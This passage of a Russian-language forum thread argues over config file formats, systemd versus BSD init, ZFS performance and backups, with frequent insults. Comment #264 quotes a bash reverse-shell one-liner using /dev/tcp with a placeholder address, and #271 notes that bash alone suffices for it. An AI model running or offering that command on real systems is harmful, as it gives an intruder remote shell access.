Ответить | Правка | Наверх | Cообщить модератору
Родитель: #237 Ответы: #257

254. Сообщение от Аноним (197), 11-Сен-26, 16:54	+/–
Поздравляю с тем, что вы успешно расписались в своей некомпетентности.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #252 Ответы: #255

255. Сообщение от User (??), 11-Сен-26, 17:28	+/–
> Поздравляю с тем, что вы успешно расписались в своей некомпетентности. Иди уже... Праздновпть
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #254

256. Сообщение от Аноним (-), 11-Сен-26, 17:28	+/–
> Да-да, конечно... мы видим, да-да... Очень сомневаюсь что вы когда либо писали парсер XML или JSON. Наверное именно пожтому вы... 1) Превозносите эти форматы. 2) Не догоняете что не так с их парсингом. А приколитесь и попробуйте таки - написать парсинг этого. Можете даже используя готовые либы, я добрый.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #249 Ответы: #260

257. Сообщение от User (??), 11-Сен-26, 17:33	+/–
>> Вот я и решил, что забить всю конфигурацию в параметры командной строки > и никаких run.sh верим верим :)))) А чем он тебе в контексте задачи помешал? Рантайм-конфигурацию ты видишь, изменить её без перезапуска - нельзя. А как её в приложение пихнуть - дело уже десятое.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #253 Ответы: #261

258. Сообщение от Аноним (-), 11-Сен-26, 17:40	+/–
>>но более-менее общими свойствами запуска? > Вот это. Если вам нужно разделить части конфига - то это единственный вариант. Это какая-то очень нишевая хотелка. Я вот честно, не обломаюсь скопировать 5 конфигов tor или httpd и нарулить их так как надо в энном инстансе. Более того - "common core" чреват тем что при нужде сменить параметр там, и новые значения ок не всем инстансам - довольно много головняка будет. > Если вас устроит дублирование конфигов и ручная правка - хватит > и обычного systemd. У меня не настолько огромные конфиги чтобы их реюз и дедубликация был серьезным топиком. Если они становятся такими - возможно, кто-то что-то делает не так на совсем другом уровне... А в случае sd конкретно - можно еще разнести это по разным юзерям, с разными лимитами ресурсов, ограничениями доступа к системе и проч.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #246

259. Сообщение от Аноним (-), 11-Сен-26, 17:43	+/–
> Ну я как бы всё равно не очень понял. > Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже > в формате LUA там в самых первых главах. Читать книги по конфигам... м... удачи вам :). А полиморфные вирусы в эти книги входили? :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #185 Ответы: #291

260. Сообщение от User (??), 11-Сен-26, 17:57	+/–
Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров json и xml в одном предложении, а? Парсер json все студенты, учившиеся после его появления писали - и большинство из них вот справилось (Даже те, что из кулинарного техникума). decoder.py из стандартной библиотеки 300 строчек - а ты плачешься, что "сложьна!" и рассказываешь, что только вот такой гуру мог бы - если бы захотел, но он не хочет... Ну оподливился в очередной раз - отоди на подветренную сторону, обсохни - а потом возвращайся за новыми победами, глядишь да и забудет кто.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #256 Ответы: #307

261. Сообщение от Аноним (223), 11-Сен-26, 18:07	+/–
> Рантайм-конфигурацию ты видишь, изменить её без перезапуска - нельзя. я должен из консоли выдирать строку с опциями потом их распарсить, чтобы понять какие параметры конфигурации при запуске использовались? А перезапускать надо через убивание процесса, и полчаса вводить все аргументы запуска, удачи вам без run.sh это делать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #257 Ответы: #272

262. Сообщение от Аноним (-), 11-Сен-26, 18:52	+/–
> Куча программ использует UCL конфиги. > Ну и нативная поддержка через libucl есть Кто все эти люди? И куча - это сколько конкретно? Нельзя ли весь список этого софта? > Где ж вас таких набирают по объявлению ? libucl-dev: Portable compression library - development. Homepage: https://www.oberhumer.com/opensource/ucl/ Ну, э, да - граждане даже название проекта себе выбрать нормально не смогли! Настолько что клещ с немолодой либой Маркуса Оберхамера вышел. Сразу видна могучая фантазия, фэйл начинается с имени проекта.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #167

263. Сообщение от Аноним (-), 11-Сен-26, 18:58	+/–
> Формат дело наживное, я ж не говорю скопировать один в один. Вон > в systemd не xml Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - бишь декларативное описание старта юнитов - решает на ура. И как раз отсутствие вот именно что программизма - одна из сильных фич этого. Потому что майнтайнить тюринг-полные художества васянов - это ночной кошмар любого эксплуатанта.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #123 Ответы: #279, #296

264. Сообщение от Аноним (-), 11-Сен-26, 19:00	+/–
>> По сравнению с bash, posix sh это просто трэш. > Зато у него нет подушки для хакеров в виде башевского > bash -i >& /dev/tcp/х.х.х.х/1234 0>&1 А что - и неткат ты тоже не ставишь? Да и может тогда сеть лучше зарубить совсем? А то мало ли какой там еще софт окажется или хаксор socket() удумает вызывать...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #84 Ответы: #271

265. Сообщение от Аноним (-), 11-Сен-26, 19:01	–1 +/–
>> Как там с массивами, уже завезли или $@ хватает каждому? > А массивы в баше - это не трэш? Поэтому вот вам некая шляпа с сложными объектами, потенциально вложенными и сбоку бантик^W Lua еще? Так и представляю себе лица эксплуатантов которым обломился кастомизированый сервер на ЭТОМ. Впрочем, тем быстрее они его перекатают на убунту :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #215 Ответы: #297

266. Сообщение от Аноним (-), 11-Сен-26, 19:03	+/–
> И авторам раста тоже надо было вовремя успокоительных или упокоительных принять, мир > был бы лучше без этого. Да и любителям RSA за целых две CVE в мокротике - неплохо б ответить тогда. Подставщики фиговы, удружили проприетарным друзьям своей рекламой - а у них там теперь ремотный рут! :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #117 Ответы: #298

267. Сообщение от Аноним (-), 11-Сен-26, 19:04    Скрыто ботом-модератором	+1 +/–
> А да, точно, во фряхе это ещё не осилили. Я всё время > путаю FreeBSD и NetBSD, они у меня вечно сливаются в понятие > "бесполезная маргинальная ос". Ну то-есть ты высказал ценное мнение с умным видом - о штуке которую ты настолько не используешь что публично перепутал сорта этого самого? :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #147

268. Сообщение от Аноним (-), 11-Сен-26, 19:12    Скрыто ботом-модератором	–1 +/–
> Как бы тебе сказать, это всё равно что заявить что никогда не > было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы > запускает и перезапускает, с хрена ли не он должен за ними > следить? Тем более что больше некому. Это примерно так и есть: они всегда хотели концепции и вэи, поучать других и проч. Использование в эту формулу не входит. Только синтетический крап, только хардкор. > Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой > автор, потому что запуск в качестве сервиса - дело запускалки сервисов, Ну так авторы сервисов и положили на эти ваши BSD с прибором - сами и костыльте как вам там надо - если надо и костылилка не сломается. > меньше - не нужно было бы хотя бы писать бойлерплейт в > каждом rc.d скрипте. Но всё равно это было бы набором костылей. Внезапно пока вы быковали на s-d линух с оным - BSD с серверов на отлично выпнул. И мало кто активно оперирующий s-d захочет вернуться на sysv. Захотят - необучаемые луддиты, оставщиеся в *nix эпохи своей молодости. > Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен > запускаться из init системы, а если есть - из devd? Потому что в BSD не нашлось архитекта способного посмотреть как это делали другие и придумать что-то адекватное - даже на уровне Лени Поцтера... со всеми академичными фантазиями и рассказами про стройность - лажа в самых базовых системных вещах.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #89

269. Сообщение от Аноним (-), 11-Сен-26, 19:15	–1 +/–
> эти люди назывались когда-то - авторы дистрибутивов. > Кстати, до определенного момента они таки озабочивались. Пока это был - единственный комп в городе... > А потом кто умер, кто подался в агитаторы, а кто забил. А потом, видите ли, народ как-то задумался что если компов более 1 то колупаться в полудохлой системе с запрыгом по граблям и эффективностью ниже плинтуса - нафиг надо, если можно все что надо - с соседнего компа с нормальной эффективностью организовать. Или вообще - снапшот откатить за 2 минуты - и сделать вид что факапа никогда не было. Но да, тебе снапшоты на десктопе не надо нормальные, зато - вот - непотребства какие-то чтоб световым мечом помахать. > А у молодняка в виртуалочке в макоси все свалено в / потому > что после запуска теста она вообще больше не нужна. Теперь и правда нет задачи - до упаду пытаться поднять единственный комп в городе т.к. до иного живого компа - сотни километров, и никаких носителей данных и ОС вокруг..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #85 Ответы: #273

270. Сообщение от Аноним (-), 11-Сен-26, 19:18	–3 +/–
> Многие орали что ZFS тоже не упрощенка и да производительность не > в потолок, но m.2 накопителям на PCIE 5 это безразлично. Вообще-то на быстрых накопителях - оверхед ФС как раз сильнее всего ощущается и ZFS помрет - именно поэтому. На сверхскоростных SSD - он рубиться с линуксными фс не сможет от слова совсем. Потому что по сути блочный дизайн а не экстентный даже.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #73 Ответы: #282

271. Сообщение от OpenEcho (?), 11-Сен-26, 19:33	+/–
> А что - и неткат ты тоже не ставишь? Ты вообще понял как это работает? Зачем неткэт? Всё что нужно на пациенте - доступ к башу, который по умолчанию везде доступен для всех юзеров > Да и может тогда сеть лучше зарубить совсем? Жги еще :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #264

272. Сообщение от User (??), 11-Сен-26, 19:43	+/–
Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #261 Ответы: #285

273. Сообщение от нах. (?), 11-Сен-26, 19:55	+/–
>> эти люди назывались когда-то - авторы дистрибутивов. >> Кстати, до определенного момента они таки озабочивались. > Пока это был - единственный комп в городе... пока на нем было что-то ценное. а не докер обмазанный докером под докером. > Или вообще - снапшот откатить за 2 минуты - и сделать вид это в той твоей горбатой фс полностью разваливающейся при сбоях питания? Держи в курсе. (и да, ее не починить, да и чинить незачем) > что факапа никогда не было. Но да, тебе снапшоты на десктопе нахрен не нужны. Нет у меня на десктопе ничего, что можно "откатить". > Теперь и правда нет задачи у _тебя_ нет. Потому что твои поделки вообще никакой ценности не имеют и никаких полезных данных на той кривой флэшке быть не могло.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #269

274. Сообщение от нах. (?), 11-Сен-26, 19:59	+/–
> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было > кому то надо - оно бы было. > Полагаю другие люди просто чинят загружаясь с рабочей системы, Нет. Тут наш местный подвальный был прав - те другие ничего не чинят (и не умеют, кстати) да и чинить в этих поделках нечего обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если там были твои ценные данные - сам виноват.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #115 Ответы: #281, #345

275. Сообщение от нах. (?), 11-Сен-26, 20:01	+/–
> Сильно зависит от того как и что вы собрались чинить. > По мне сильно проще сохранить etc, var и что ещё было руками вот и сиди, вспоминай, что там было еще и где. И потом пару недель - что там и где еще было забыто и почему вылез глюк исправленный пять лет назад. > раз, и вроде 1-2 из них было после неудачных обновлений, остальное > были проблемы с железом. и чего - железо резко стало беспроблемное или ну его просто стало нахрен? А на десктопе, поди, венда.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #58 Ответы: #300

276. Сообщение от Аноним (276), 11-Сен-26, 20:13	+1 +/–
Всё, начиная с 260 дропнули поддержку.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #220

277. Сообщение от Аноним (276), 11-Сен-26, 20:21	+/–
Гугель ещё в прошлом году сказал, что будет делать ChromeOS на базе Android. То есть, правильнее сказать, что пока ещё использует.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65

278. Сообщение от Аноним (276), 11-Сен-26, 20:25    Скрыто ботом-модератором	+/–
Первый помощник некроманта, да.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #163

279. Сообщение от нах. (?), 11-Сен-26, 20:26	+/–
> Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - напомни, какие параметры надо скидывать через =пустоеместо а какие нет? > бишь декларативное описание старта юнитов - решает на ура. ага, вон той чушью. Спасибо, даром не нать. А чуть что посложнее - в ExecStartPre опять пихать шелл-скритик (а в том sleep 150 чтоб чудо-параллельный-супер-инит успел не только быстрозапустить то что нужно, а и оно бы успело сработать)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #263

280. Сообщение от нах. (?), 11-Сен-26, 20:28	+/–
> его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: его изобретали чтоб эти xml'и никогда _руками_ не ковырять. > 1. применительно к серверной системе 2. для начала 2000х ты забыл уточнить - серверной системе на платной поддержке где админ что-то вроде робота, выполняющего непонятные ему команды по телефону. Чем меньше он мог сломать по ошибке - тем лучше.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #110

281. Сообщение от Аноним (276), 11-Сен-26, 20:37	+/–
Ценные данные вообще-то бэкапить надо
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #274 Ответы: #287, #299

282. Сообщение от Malinovsky (?), 11-Сен-26, 20:49	–1 +/–
Я вот сомневаюсь что помрет. Видите ли Linus Tech Tips не совсем круглые идиоты и они там делали видео где SSD на ZFS служил кешем пула. И таких видео было минимум два. И все прекрасно работало. По крайней мере этого было достаточно для работы по сети для сервера. Там ведь свои особенности есть и кеширование в память силами ФС полагаю можно отключить, потому что это серверная функциональность. Как бы то ни было на мелких блоках у современных накопителей скорости весьма приличные.Возможно придется сделать размер блока в среднем больше, если очень уж нужно, но я скорее поверю что для системы будет достаточно хоть эмуляцию блоков по 512 байт включить, хомяка на другой диск сунуть, игры на третий, чтобы с программами не пересекалось, либо поставить много памяти, чтобы кеша в ней хватало. Не такие уж и лютые скорости нужны, если для игр. Я пока что не вижу почему ZFS должна прямо загнуться, даже если Линус Торвальдс на нее бухтит. Там проблема в лицензии и потому он просто тыкает в недоработки. Если бы ее выпустили под GPL он быстро нашел бы повод выделиться типа "Мы сделали +80% скорости ZFS, 15% для EXT4 и XFS" - вот так примерно это выглядело бы. на винде там вроде бы ограничение гига в 4 по сути и от PCIE5 вообще толку ноль. Так что получается не хуже чем на винде я думаю. Сложно без цифр с жесткими и адекватными тестами, но без объективного подтверждения сдаваться не мой стиль.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #270

283. Сообщение от Метрика (?), 11-Сен-26, 21:38	+/–
Хоть что то своё за долгие годы, а когда то фря была лидером удобных и продуманных инструментов для админов и программистов, пока с линукс не связалась
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #284

284. Сообщение от Malinovsky (?), 11-Сен-26, 21:57    Скрыто ботом-модератором	–4 +/–
Проблема не в линукс. Просто процесс разделения кодовой базы Unix и BSD шел долго и тогда BSD несколько отстали. А System V это Solaris, который не взлетел, потому что на зеленые видеокарты ставку сделал. Вот вроде бы нвидия в топе, а линуксоидам пофиг вообще. Дайте встройку интела и видеокарту от АМД. RX 560 линуксоидам более чем хватало рабочий стол рисовать и погамать. А потому тяжелой артиллерией стала DragonflyBSD, которая отпочковалась пораньше от FreeBSD. Вот и получается что перфекционный дальтонизм поразил сторонников BSD и даже Unix. Глупые вопли тут про макось ненужны. Она прибита к железу. OpenSolaris на базе Illumos в лице OpenIndiana работает. И широта поддержки железа на ней куда больше. И никаких лицензионных заморочек как в линуксе с ZFS. Перенесенный кусок OpenSolaris для работоспособности ZFS не так хорошо работает как хотелось бы. Простой интерфейс лагал еще давно на FreeBSD когда OpenIndiana работала быстро. Лидерство было в формате разработки у тех кто делали 9front. А потом пришли корпорасты и каждый начал городить свой велосипед. BSD для этого подошла, чтобы игры на Playstation 5 запускать. С линукс у них связь по портированию того что очень хочется иметь. И GCC хотелось, но откат на много лет из-за лицензии и отсутствия компилятора ударил по BSD очень сильно и потому OpenIndiana тоже перескочили, но на GCC. Ничего не помешало, значит проблемы BSD были надуманные. Вот так правда оказывается всегда сильнее. Молиться на BSD совершенно необязательно, если железо не поддерживается. FreeBSD никогда не была лидером. Просто кому-то нравилось с ней возиться, потому что начинали с нее и линукс не понимали. Неосиляторов много. Кому-то хочется выделиться. Практической пользы могло не быть вовсе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #283

285. Сообщение от Аноним (223), 11-Сен-26, 22:27	+/–
> Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. Так вопрос как раз в том, зачем мне нужны эти аргументы командной строки, если я могу описать их в файле, аля конфиге, и случай как раз таки с systemd unit, run.sh, ничем не отличается от того, что я предлагаю - отказаться от аргументов командной строки и использовать банальный конфиг! > А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно. Всегда можно хранить config.lock, либо при запуске писать в лог файл конфиг используемый при старте, нормальная практика. И перечитка, перезапуск без кила, тоже давно придуман.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #272 Ответы: #338

286. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:33	+/–
> И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? Не понял о чём речь? Пишите понятней. > Pid файлы это вообще жесточайший легаси костыль, который должен умереть. Не вижу проблемы, кроме только той, что pid реюзается в системе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #190

287. Сообщение от нах. (?), 11-Сен-26, 22:34	+/–
раз в секунду - норм? А если не норм - то может головой еще разок-другой попробуешь не только есть?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #281

288. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:35	+/–
Прочесть из конфига можно, но это не всегда удобно. usage по комм строке естессно. И это мы ещё не дошли до переменных окружения - мне лично они больше нравятся чем парсить комм строку, прям на порядки удобнее и со стороны передающей и со стороны принимающей.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #222

289. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:38	+/–
Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, когда 95% юзеров будет запускать с одним конфигом и оставшиеся 5% предпочтут кучу экземпляров с разными конфигами. Да, идея то красивая и для юзера просто высший класс, но с точки зрения кода просто ад сплошной.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #250 Ответы: #301

290. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:45    Скрыто ботом-модератором	+/–
Так оно там не рассматривалось как прям динамический конфиг ради динамичности. Оно рассматривалось как замена парсера файлов с настройками, где бонусом можно дописывать логику. Мне вот, для примера, в mpv не хватает возможности немного поскриптовать в конфиге чтобы на разных ОС и железках немного отличались некоторые параметры. Я понимаю что админам и девляпсам хочется проверялку перед заливкой, которая скажет что конфиг говно или конфиг юзабелен, а не ловить потом даунтайм и SLA.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #208 Ответы: #340

291. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:48	+/–
Нет, можете сами убедится: lua-Lua.Lua.3rd.Edition.Jan.2013.ISBN.859037985X
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #259 Ответы: #308

292. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:53	+/–
Но рынок решил иначе, и nginx во многом взлетел благодаря именно возможности описать логику в коде. Иначе он был не сказать чтобы сильно лучше лайти. Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь статический конфиг в одном месте и где то прикручивать логику в отдельном ЯП в другом. Я благодаря nginx смог выкинуть из своего проекта ssdpd свой же вебсервер целиком и возвращать какие мне надо ответы из nginx. Но конечно немного кода на пхп написать пришлось, там где уже совсем много логики и генерации было.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #228 Ответы: #302

293. Сообщение от Ivan_83 (ok), 11-Сен-26, 22:58	+/–
Так это боль админов/девляпсов со стороны эксплуатации, которые вынуждены разбиратся со всей фигнёй которую накакакодили другие. На что я могу только ответить: не нравится - идите в разработку и пишите как считаете нужным. Со стороны разработки всё выглядит совсем по другому: вместо жёсткого разделения на тупой вебсервер и мегатонны кода на каком то языке можно докинуть пару строк прямо в конфиг и получить нужный результат не отходя от кассы и не приходя в сознание, раньше чем чай остынет в стакане. А конкретно в случае nginx если оставить конфиги без логики и вытащить всё куда то на ЯП то часть задач которые решались парой строк и не влияли на производительность выльется вообще не понятно во что.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #233

294. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:00	+/–
1. собственно получить готовый парсер который способен прочитать параметры из файла и присвоить значения внутренним переменным и структурам 2. заложить возможность динамически подстраивать параметры, читай автотюнинг на уровне конфига.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #172

295. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:07	+/–
Только в обморок не упадите: -- configuration file width = 200 height = 300 background_red = 0.30 background_green = 0.10 background_blue = 0 -- configuration file if getenv("DISPLAY") == ":0.0" then width = 300; height = 300 else width = 200; height = 200 end - мне вот примерно такого в MPV не хватает чтобы иметь единый конфиг на разных девайсах. Я бы конечно мог потратить кучу времени как сделали в хорг и сделать на С всю логику, но лучше пусть эта логика будет в конфиге на луа - хотя бы перекомпелять прогу каждый раз не придётся.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #196

296. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:10	+2 +/–
Это вам ini кажется простым форматом, пока вы его парсер не начали писать и не узнали что там есть разные диалекты.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #263 Ответы: #343

297. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:16	+/–
Вы зря так относитесь к LUA. Он был уже давно и не сильно был известен/популярен. Но именно в последние годы как то резко стал набирать обороты, отчасти потому что в популярных играх встроен и достаточно прост. Лет через 10 подрастёт поколение которое кодило на нём в играх и проектов с ним станет ещё больше. На загончик админов фапающих на луа можете посмотреть в OpenRestry.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #265 Ответы: #314

298. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:17	+/–
Я даже не знаю что там мокротик изобретал такого. Надо было взять готовый SSH сервер и не лезть туда руками, это не их бизнесс.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #266

299. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:20	+/–
Зачем? Проще диск примонтировать и скопировать, в данном случае.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #281 Ответы: #316

300. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:26	+/–
Не, так уже не бывает практически. В том смысле что пользовательские данные не разбрасываются обычно по всяким не понятным местам в системе, а системные понятно где хранятся. По крайней мере на десктопе и медиаплеерах так. На домашнем сервере совсем мизер беспорядка, но там инсталляция по сути живёт наверное с 2009 года. Нет, мне просто везло наверное с железом и собственно инсталляций у меня было мало. На десктопе венды нет вроде с 2015 года, и как то не хочется :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #275 Ответы: #305

301. Сообщение от Аноним (223), 11-Сен-26, 23:27	+/–
> Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, когда 95% юзеров будет запускать с одним конфигом и оставшиеся 5% предпочтут кучу экземпляров с разными конфигами. ну а чем это отличается от парсинга аргументов командной строки? Или пихающий usage в код программы, а не в мануал :) Зачем тратить время на это? > но с точки зрения кода просто ад сплошной. Ну в чем тогда разница между парсингом аргументов и парсингом условного ini конфига? Повторяю, usage еще пихать в код это тот самый адЪ о котором вы говорите, не так ли?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #289 Ответы: #332

302. Сообщение от Аноним (223), 11-Сен-26, 23:36	+/–
> Как минимум в до ЫЫ эпоху вобла кодинга было достаточно времязатратно иметь статический конфиг в одном месте и где то прикручивать логику в отдельном ЯП в другом. А лить все в index.php только потому-что программер не имеет тупо доступа к nginx-у, тоже нормальная практика? А потом "визг" про то, что все надо переписать на какой-нибудь nodejs или go, упаси Господи на ruby on rails.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #292 Ответы: #333

303. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:37	+/–
Ошибся The pdfork(), pdgetpid(), and  pdkill()  system  calls  first  appeared  in FreeBSD  9.0. The pdrfork() and pdwait() system calls first appeared in FreeBSD 15.1.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #182

304. Сообщение от Ivan_83 (ok), 11-Сен-26, 23:41	+/–
Проблема в том, что все эти форки нафиг не сдались. posix_spawn() - вот что хочется юзать а не переизобретать каждый раз с нуля все эти ритуальные способы правильно родить процесс и не упустить никаких деталей.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #181 Ответы: #320

305. Сообщение от нах. (?), 12-Сен-26, 00:11	–1 +/–
у меня основной потерей будут - настройки системы. Воспроизводить их вот для рабочих именно - очень долго и больно. А что я там менял пять минут назад - не помню уже. Систем не одна, настроек много. ну и вон того видео, которого в ютубе больше нет, а в хранилку еще не собрался скопировать - тоже будет жалко. А с железом бывает вообще что угодно - хитачи (кто тут недавно хвалил? что мол надежно как танк и собрано из дерьма и палок. В общем, да, дерьмо и палки.) вон намедне нае...сь и даже не чирикнула. И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #300 Ответы: #312, #313, #330

306. Сообщение от Аноним (-), 12-Сен-26, 00:58	+/–
>> Ну а как ты иначе раздашь разные конфиги разным инстансам? > Ты тоже нейрослоупок? Я же описал как, прочти коментарий внимательно. Довольно похабненько и с своими проблемами. В виде колупания конфига чуть не с войну и мир если инстансов много - и весьма специфичным головняком. >> В обязаловку затребуешь отдельный контейнер этой приблуде? > Ну все, ясно, очередной нейрослоупок! Да, я и правде не догоняю - зачем такая ацкая похабщина в общем случае нужна.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #251 Ответы: #309

307. Сообщение от Аноним (-), 12-Сен-26, 01:44	+/–
> Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров > json и xml в одном предложении, а? У них кое-что общее. И то и другое позволяет городить довольно сложные структуры - заметно отличающиеся от ожиданий програмера. На чем они таки - налетают. XML конечно ужаснее, но JSON тоже - фигня та еще. Он не удобен в парсинге машине, читаемость человеком у него тоже лишь маргинально лучше XML и зависит от форматирования. А вот ini синтаксис - особо не изгадишь. И стен текста или сложных структур там не практикуется. В чем фича и состоит: конфигурация проста и прозрачна. Реестр в принципе тоже как-то так же, просто параметров там - зело уж дохрена и они не документированы, а все это в целом очень уж похоже - на параллельный ФС, который типа не ФС, но типа почти ФС. > Парсер json все студенты, учившиеся после его появления писали - Это не означает сколь-нибудь валидную реакцию программы на произвольный json. > 300 строчек - а ты плачешься, что "сложьна!" и рассказываешь, что > только вот такой гуру мог бы - если бы захотел, но он не хочет... А софт на питоне вообще - склонен делать адскую дичь налетев на нежданчик. > Ну оподливился в очередной раз Клиенту Accenture не привыкать. Удивительно было бы если б вы не продвигали очередное оверинженернутое г-но явно избыточное для этой задачи.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #260 Ответы: #342

308. Сообщение от Аноним (-), 12-Сен-26, 01:45    Скрыто ботом-модератором	+/–
> Нет, можете сами убедится: lua-Lua.Lua.3rd.Edition.Jan.2013.ISBN.859037985X Да нехрен мне твой Lua не уперся. Особенно - в конфигурации, тудыть!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #291

309. Сообщение от Аноним (223), 12-Сен-26, 02:42    Скрыто ботом-модератором	+/–
> Да, я и правде не догоняю потому-что нейрослоупок, ты даже читать не умеешь.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #306

310. Сообщение от Аноним (163), 12-Сен-26, 04:15	+/–
Анонимные эксперты в принципе не читают текст новости, в лучшем случае они дочитывают заголовок до конца.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #127

311. Сообщение от Аноним (163), 12-Сен-26, 04:18	+/–
Разработчики этого проекта не были замечания в работе на аннунаков.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #114 Ответы: #319

312. Сообщение от Аноним (163), 12-Сен-26, 04:34    Скрыто ботом-модератором	–1 +/–
>у меня основной потерей будут - настройки системы. Воспроизводить их вот для рабочих именно - очень долго и больно. А что я там менял пять минут назад - не помню уже. Систем не одна, настроек много. Мои подозрения о том что линуксоиды страдают психическом расстройством подтвердились, теперь я понял это ОКР.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #305

313. Сообщение от Аноним (163), 12-Сен-26, 04:50	+/–
>И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться? Есть конечно, профессиональные ИБП для серверов. Умные UPS (Линейка Smart и выше)В более дорогих ИБП (например, серий APC Smart-UPS, Eaton, Vertiv) алгоритмы гораздо сложнее. Промышленные системы (BMS)В дата-центрах и на крупных узлах связи не полагаются даже на логику ИБП. Там используются внешние BMS (Battery Management Systems). По поводу первого абзаца, открой для себя Ansible. Как бы без него девопсы жили. По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить. Порою мне искренне жаль местных экспертов, никто из них не работал сисадмином, только сидят, конфиги ковыряют бесконечно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #305 Ответы: #317, #331

314. Сообщение от _ (??), 12-Сен-26, 05:23	+/–
Лет через 10 всем будет по-бороде на ЯП, это какая-то внутренняя штука для ЫЫ-шки. Ну как сейчас ассемблер такая жи штука для компилера. Часто заглядываешь? Вот тот то же ...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #297 Ответы: #334

315. Сообщение от bergentroll (ok), 12-Сен-26, 06:20	+/–
> А разве не удобно готовить конфиг под разные задачи А если надо несколько раз прогнать с немного разными опциями, то несколько конфигов записывать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #223 Ответы: #326

